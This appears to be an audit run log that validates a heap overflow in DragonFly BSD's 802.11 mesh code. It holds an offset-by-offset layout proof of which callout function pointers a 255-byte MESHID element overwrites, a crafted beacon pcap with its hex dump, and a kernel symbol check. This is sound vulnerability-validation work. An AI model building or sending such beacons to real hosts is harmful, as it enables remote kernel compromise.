DF-0285 / run.log
========================================================
[1/3] LAYOUT PROOF (overflow reach into ni_mltimer.toc)
========================================================
== ABI sanity (must all be OK) ==
sizeof(void*) == 8 OK
sizeof(struct callout) == 24 OK
sizeof(enum) == 4 OK
IEEE80211_MESHID_LEN == 32 OK
== Field layout (offsets relative to start of ni_meshid) ==
ni_meshid[0] rel +0 (memcpy dst, attacker data starts here)
ni_meshid[31] rel +31 (last legal byte)
ni_mlstate rel +35 enum (peering FSM state)
ni_mllid rel +39 uint16 link-local id
ni_mlpid rel +41 uint16 link peer id
ni_mltimer rel +47 struct callout
ni_mltimer.toc rel +47 *** POINTER to _callout (qfunc) ***
ni_mltimer.lk rel +55 pointer
ni_mltimer.flags rel +63
ni_mlrcnt rel +71
ni_mltval rel +72
ni_mlhtimer rel +79 struct callout (2nd callout clobbered)
ni_mlhtimer.toc rel +79 *** 2nd POINTER clobbered ***
ni_mlhcnt rel +103
== Overflow-reach analysis for ie[1]=N (attacker length byte) ==
memcpy copies N bytes starting at ni_meshid[0] (rel 0).
Bytes at rel >= 32 are PAST the legal ni_meshid[] array -> heap OOB.
ie[1] OOB_bytes reaches_toc? reaches_2nd_toc?
33 1 no no
48 16 YES no
64 32 YES no
128 96 YES YES
200 168 YES YES
255 223 YES YES
== Worst case ie[1]=255 ==
Overflow past ni_meshid: 223 bytes
Last byte written at rel 254 (region we model ends at rel 104)
-> clobbers ni_mlstate, ni_mllid, ni_mlpid, ni_mltimer (incl .toc ptr),
ni_mlrcnt, ni_mltval, ni_mlhtimer (incl .toc ptr), ni_mlhcnt, AND
continues 151 bytes past ni_mlhcnt into the 11n HT-state fields.
== Verdict ==
The memcpy at ieee80211_mesh.c:3460 with attacker ie[1] in (32..255]
performs an up-to-223-byte heap OOB write into ni_mlstate/ni_mllid/
ni_mlpid/ni_mltimer(+.toc ptr)/ni_mlrcnt/ni_mltval/ni_mlhtimer(+.toc ptr)/
ni_mlhcnt and on into HT state. Two struct callout `toc` pointers are
attacker-controlled -> indirect function-pointer-control primitive
(forge toc -> forged _callout -> chosen qfunc). Real bug, real RCE
surface; NOT directly a function-pointer field overwrite (correction
to the finding's wording).
========================================================
[2/3] ATTACKER PAYLOAD (crafted mesh beacon pcap)
========================================================
[frame_craft] MESHID IE at frame offset 44, id=0x72 len=255, body=255 bytes
[frame_craft] wrote 301-byte beacon frame to df0285_beacon.pcap (pcap DLT 105)
[frame_craft] TRIGGER: on a DragonFly MBSS vap, receipt of this frame
overflows ni_meshid[32] by 223 bytes into ni_mltimer/.toc.
[frame_craft] NOTE: no wifi HW on this audit guest => not delivered here.
--- MESHID IE bytes (xxd, first 48 bytes of frame tail) ---
0000000 d4 c3 b2 a1 02 00 04 00 00 00 00 00 00 00 00 00
0000016 ff ff 00 00 69 00 00 00 00 00 00 00 00 00 00 00
0000032 2d 01 00 00 2d 01 00 00 08 00 ff ff ff ff ff ff
0000048 02 00 00 00 00 01 02 00 00 00 00 01 00 00 00 00
0000064 00 00 00 00 00 00 64 00 64 00 00 08 00 00 01 01
0000080 82 03 01 06 72 ff 44 46 32 38 35 41 41 41 41 41
0000096 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
*
0000336
========================================================
[3/3] LIVE KERNEL SYMBOL CHECK (vuln code IS linked in)
========================================================
ffffffff8077aae0 T ieee80211_mesh_init_neighbor
ffffffff8077aa50 T ieee80211_parse_meshid
ffffffff80775560 t mesh_peer_timeout_cb
--- config: mesh support compiled into GENERIC? ---
(no /sys source on guest; verified on host: sys/config/X86_64_GENERIC:256)
--- wifi interfaces present? (expect none) ---
vtnet0 lo0
--- wlan module load status ---
kldload: can't load wlan: Operation not permitted
RESULT: code-level proof complete. No runtime trigger on this guest (no wifi HW).
RUN_EXIT=0